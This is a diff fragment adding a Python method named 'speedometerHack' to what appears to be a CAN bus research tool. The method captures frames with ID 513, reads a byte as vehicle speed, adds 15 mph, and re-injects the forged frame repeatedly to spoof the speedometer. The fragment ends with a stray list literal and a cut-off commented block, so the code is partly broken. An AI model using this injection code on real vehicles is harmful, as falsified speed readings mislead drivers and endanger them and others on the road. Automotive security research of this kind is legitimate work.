+ def speedometerHack(self):
+
+ self.client.serInit()
+ self.spitSetup(500)
+
+ self.addFilter([513, 513, 513])
+
+ SIDlow = (513 & 0x07) << 5; # get SID bits 2:0, rotate them to bits 7:5
+ SIDhigh = (513 >> 3) & 0xFF; # get SID bits 10:3, rotate them to bits 7:0
+
+ while(1):
+
+ packet = None;
+
+ # catch a packet and check its db4 value
+ while (packet == None):
+ packet=self.client.rxpacket();
+
+ print "DB4 = %d" %packet[9]
+ mph = 1.617*packet[9] - 63.5
+ print "Current MPH = 1.617(%d)-63.5 = %d" %(packet[9], mph)
+
+ # calculate our new mph and db4 value
+ mph = mph + 15;
+ packet[9] = ( mph + 63.5 ) / 1.617
+
+ # load new packet into TXB0 and check time
+ self.multiPacketSpit(packet0=packet, packet0rts=True)
+ starttime = time.time()
+
+ # spit new value for 1 second
+ while (time.time()-starttime < 1):
+ self.multiPacketSpit(packet0rts=True)
+
+
+
+ [SIDhigh, SIDlow, 0x00,0x00, # pad out EID regs
+ 0x08, # bit 6 must be set to 0 for data frame (1 for RTR)
+ # lower nibble is DLC
+ packet[0],packet[1],packet[2],packet[3],packet[4],packet[5],packet[6],packet[7]]
+
+
+# while((time.time()-starttime < duration)):
+#
+# if(faster):
+# packet=self.client.fastrxpacket();
+# else:
+
+